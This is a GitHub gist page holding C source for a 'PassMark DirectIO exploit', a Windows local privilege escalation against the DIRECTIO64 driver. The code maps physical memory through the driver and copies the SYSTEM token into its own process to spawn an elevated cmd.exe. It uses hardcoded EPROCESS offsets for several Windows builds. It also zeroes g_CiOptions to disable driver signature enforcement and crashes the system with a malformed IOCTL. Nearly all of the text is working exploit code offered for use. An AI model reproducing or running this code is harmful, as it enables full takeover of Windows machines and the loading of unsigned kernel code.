-
-
Save SakuraKoi/c5c3bc446e6a682d666a3a844a39741a to your computer and use it in GitHub Desktop.
PassMark DirectIO exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "global.h" | |
#define EPROCESS_UniqueProcessId_1809 0x2E0 | |
#define EPROCESS_ActiveProcessLinks_1809 EPROCESS_UniqueProcessId_1809 + sizeof(HANDLE) | |
#define EPROCESS_Token_1809 0x358 | |
#define EPROCESS_UniqueProcessId_1903 0x02E8 | |
#define EPROCESS_ActiveProcessLinks_1903 EPROCESS_UniqueProcessId_1903 + sizeof(HANDLE) | |
#define EPROCESS_Token_1903 0x360 | |
#define EPROCESS_UniqueProcessId_20H1 0x0440 | |
#define EPROCESS_ActiveProcessLinks_20H1 EPROCESS_UniqueProcessId_20H1 + sizeof(HANDLE) | |
#define EPROCESS_Token_20H1 0x4B8 | |
ULONG_PTR StealToken( | |
_In_ HANDLE DeviceHandle, | |
_In_ ULONG_PTR SystemProcess, | |
_In_ ULONG_PTR TargetProcess) | |
{ | |
DWORD NtBuildNumber = USER_SHARED_DATA->NtBuildNumber; | |
DWORD offsetToken = 0; | |
ULONG_PTR objectAddress, tokenValue = 0; | |
switch (NtBuildNumber) { | |
case 17763: | |
offsetToken = EPROCESS_Token_1809; | |
break; | |
case 18362: | |
case 18363: | |
offsetToken = EPROCESS_Token_1903; | |
break; | |
default: | |
offsetToken = EPROCESS_Token_20H1; | |
break; | |
} | |
objectAddress = SystemProcess + offsetToken; | |
if (DI64ReadKernelVirtualMemory(DeviceHandle, | |
objectAddress, | |
&tokenValue, | |
sizeof(tokenValue))) | |
{ | |
objectAddress = TargetProcess + offsetToken; | |
return DI64WriteKernelVirtualMemory(DeviceHandle, | |
objectAddress, | |
&tokenValue, | |
sizeof(tokenValue)); | |
} | |
return 0; | |
} | |
ULONG_PTR QuerySelfProcessObject( | |
_In_ HANDLE DeviceHandle, | |
_In_ ULONG_PTR SystemProcess | |
) | |
{ | |
DWORD NtBuildNumber = USER_SHARED_DATA->NtBuildNumber; | |
ULONG_PTR processId = 0, currentProcessId = GetCurrentProcessId(), resultValue = 0; | |
DWORD offsetUniqueProcess, offsetActiveProcessLinks, cPass = 0; | |
ULONG_PTR objectAddress; | |
LIST_ENTRY activeProcessLinks; | |
switch (NtBuildNumber) { | |
case 17763: | |
offsetUniqueProcess = EPROCESS_UniqueProcessId_1809; | |
offsetActiveProcessLinks = EPROCESS_ActiveProcessLinks_1809; | |
break; | |
case 18362: | |
case 18363: | |
offsetUniqueProcess = EPROCESS_UniqueProcessId_1903; | |
offsetActiveProcessLinks = EPROCESS_ActiveProcessLinks_1903; | |
break; | |
default: | |
offsetUniqueProcess = EPROCESS_UniqueProcessId_20H1; | |
offsetActiveProcessLinks = EPROCESS_ActiveProcessLinks_20H1; | |
break; | |
} | |
objectAddress = SystemProcess + offsetActiveProcessLinks; | |
do { | |
if (!DI64ReadKernelVirtualMemory(DeviceHandle, | |
objectAddress, | |
&activeProcessLinks, | |
sizeof(LIST_ENTRY))) | |
{ | |
printf_s("[!] Error reading %llX\r\n", objectAddress); | |
break; | |
} | |
objectAddress = ((ULONG_PTR)activeProcessLinks.Flink - offsetActiveProcessLinks) + offsetUniqueProcess; | |
processId = 0; | |
if (!DI64ReadKernelVirtualMemory(DeviceHandle, | |
objectAddress, | |
&processId, | |
sizeof(processId))) | |
{ | |
printf_s("[!] Error reading %llX\r\n", objectAddress); | |
break; | |
} | |
if (processId == currentProcessId) { | |
resultValue = (objectAddress - offsetUniqueProcess); | |
break; | |
} | |
objectAddress = (objectAddress - offsetUniqueProcess) + offsetActiveProcessLinks; | |
cPass++; | |
if (cPass > 1000) { | |
printf_s("[!] Too many attempts, bail out\r\n"); | |
break; | |
} | |
} while (TRUE); | |
return resultValue; | |
} | |
ULONG_PTR QuerySystemProcessObject( | |
_In_ HANDLE DeviceHandle | |
) | |
{ | |
ULONG_PTR resultValue = 0, kmAddress = 0, funcAddress = 0; | |
HMODULE pvModuleBase = NULL; | |
CHAR szFullModuleName[MAX_PATH * 2]; | |
kmAddress = supGetModuleBaseByName(NTOSKRNL_EXE); | |
if (kmAddress == 0) { | |
printf_s("[!] Error, could not query ntoskrnl.exe image base\r\n"); | |
return 0; | |
} | |
szFullModuleName[0] = 0; | |
if (!GetSystemDirectoryA(szFullModuleName, MAX_PATH)) { | |
printf_s("[!] Error, Windows directory not recognized\r\n"); | |
return 0; | |
} | |
StringCchPrintfA(szFullModuleName, MAX_PATH, "%s\\%s", | |
szFullModuleName, | |
NTOSKRNL_EXE); | |
pvModuleBase = LoadLibraryExA(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES); | |
if (pvModuleBase) { | |
ULONG_PTR PsInitialSystemProcess = (ULONG_PTR)GetProcAddress(pvModuleBase, "PsInitialSystemProcess"); | |
funcAddress = (PsInitialSystemProcess - (ULONG_PTR)pvModuleBase) + kmAddress; | |
if (!DI64ReadKernelVirtualMemory(DeviceHandle, | |
funcAddress, | |
&resultValue, | |
sizeof(resultValue))) | |
{ | |
printf_s("[!] Could not read PsInitialSystemProcess value\r\n"); | |
} | |
FreeLibrary(pvModuleBase); | |
} | |
else { | |
printf_s("[!] Error, \"%s\" file could not be loaded, GetLastError(0x%lX)\r\n", | |
szFullModuleName, GetLastError()); | |
} | |
return resultValue; | |
} | |
void DoLPE(_In_ HANDLE DeviceHandle) | |
{ | |
STARTUPINFO startupInfo; | |
PROCESS_INFORMATION processInfo; | |
DWORD cch; | |
TCHAR cmdbuf[MAX_PATH * 2]; | |
ULONG_PTR systemProcess = QuerySystemProcessObject(DeviceHandle); | |
if (systemProcess == 0) return; | |
printf_s("[+] System EPROCESS 0x%llX\r\n", systemProcess); | |
ULONG_PTR selfProcess = QuerySelfProcessObject(DeviceHandle, systemProcess); | |
if (selfProcess == 0) return; | |
printf_s("[+] Self EPROCESS 0x%llX\r\n", selfProcess); | |
if (StealToken(DeviceHandle, systemProcess, selfProcess) == 0) { | |
printf_s("[!] Steal fail\r\n"); | |
return; | |
} | |
else { | |
printf_s("[+] System process token stealing complete\r\n"); | |
} | |
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo)); | |
RtlSecureZeroMemory(&processInfo, sizeof(processInfo)); | |
startupInfo.cb = sizeof(startupInfo); | |
GetStartupInfo(&startupInfo); | |
RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf)); | |
cch = ExpandEnvironmentStrings(TEXT("%systemroot%\\system32\\cmd.exe"), cmdbuf, MAX_PATH); | |
if ((cch != 0) && (cch < MAX_PATH)) { | |
if (CreateProcess(cmdbuf, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, | |
NULL, &startupInfo, &processInfo)) | |
{ | |
CloseHandle(processInfo.hProcess); | |
CloseHandle(processInfo.hThread); | |
} | |
} | |
} | |
int main() | |
{ | |
ShowProcessAndUserInfo(); | |
// | |
// Everyone can use. | |
// | |
printf_s("[*] Open vulnerable driver device with R/W access\r\n"); | |
HANDLE deviceHandle = CreateFile(TEXT("\\\\.\\DIRECTIO64"), | |
GENERIC_READ | GENERIC_WRITE, | |
0, | |
NULL, | |
OPEN_EXISTING, | |
0, | |
NULL); | |
if (deviceHandle == INVALID_HANDLE_VALUE) { | |
printf_s("[!] Unable to open device, GetLastError(%lX)\r\n", GetLastError()); | |
return -1; | |
} | |
else { | |
printf_s("[+] DIRECTIO device opened\r\n"); | |
} | |
// | |
// Read access to entire physical memory for everyone. | |
// | |
printf_s("[*] Open \\Device\\PhysicalMemory section for SECTION_READ access for everyone\r\n"); | |
NTSTATUS ntStatus; | |
HANDLE sectionHandle = NULL; | |
// | |
// Let's read something. | |
// | |
ntStatus = DICallDriver(deviceHandle, | |
IOCTL_DIRECTIO_OPEN_PHYSICAL_MEMORY, | |
NULL, | |
0, | |
§ionHandle, | |
sizeof(sectionHandle)); | |
if (NT_SUCCESS(ntStatus) && sectionHandle) { | |
PVOID baseAddress = NULL; | |
SIZE_T viewSize = 0x100000; | |
PHYSICAL_ADDRESS viewBase; | |
viewBase.QuadPart = 0; | |
ntStatus = NtMapViewOfSection(sectionHandle, | |
NtCurrentProcess(), | |
&baseAddress, | |
0, | |
viewSize, | |
&viewBase, | |
&viewSize, | |
ViewShare, | |
0, | |
PAGE_READONLY); | |
printf_s("[+] Section opened, NtMapViewOfSection result: 0x%lX\r\n", ntStatus); | |
} | |
else { | |
printf_s("[!] IOCTL_DIRECTIO_OPEN_PHYSICAL_MEMORY failed, error %lX\r\n", ntStatus); | |
} | |
// | |
// LPE | |
// | |
printf_s("[*] Press any key for LPE\r\n"); | |
system("pause"); | |
DoLPE(deviceHandle); | |
printf_s("[*] Press any key to corrupt DSE state flags\r\n"); | |
system("pause"); | |
// | |
// Complete R/W access to physical memory for everyone. | |
// Corrupt DSE, map your own code do what you want. | |
// | |
printf_s("[*] Corrupt CI kernel mode variable\r\n"); | |
ULONG_PTR g_CiOptionsAddress = supQueryVariableCiOptions(); | |
ULONG_PTR g_CiOptions; | |
if (g_CiOptionsAddress == 0) { | |
printf_s("[!] Error, g_CiOptions address query failed\r\n"); | |
} | |
else { | |
printf_s("[+] Attempt to read g_CiOptions from 0x%llX\r\n", g_CiOptionsAddress); | |
if (DI64ReadKernelVirtualMemory(deviceHandle, | |
g_CiOptionsAddress, | |
&g_CiOptions, | |
sizeof(g_CiOptions))) | |
{ | |
printf_s("[+] CI!g_CiOptions -> %llX\r\n", g_CiOptions); | |
g_CiOptions = 0; | |
if (DI64WriteKernelVirtualMemory(deviceHandle, | |
g_CiOptionsAddress, | |
&g_CiOptions, | |
sizeof(g_CiOptions))) | |
{ | |
printf_s("[+] CI state flags corrupted\r\n"); | |
} | |
else { | |
printf_s("[!] Unable to write to the KM\r\n"); | |
} | |
} | |
else { | |
printf_s("[!] Unable to read from the KM\r\n"); | |
} | |
} | |
// | |
// Multiple bugs inside driver due to badly written code. | |
// | |
printf_s("[*] Press any key for BSOD\r\n"); | |
system("pause"); | |
BYTE trashBuffer[4096]; | |
RtlFillMemory(trashBuffer, sizeof(trashBuffer), 0xff); | |
ntStatus = DICallDriver(deviceHandle, | |
0x8011E090, | |
&trashBuffer, | |
sizeof(trashBuffer), | |
&trashBuffer, | |
sizeof(trashBuffer)); | |
printf_s("[+] Never here, status 0x%lX\r\n", ntStatus); | |
printf_s("[*] Bye!\r\n"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment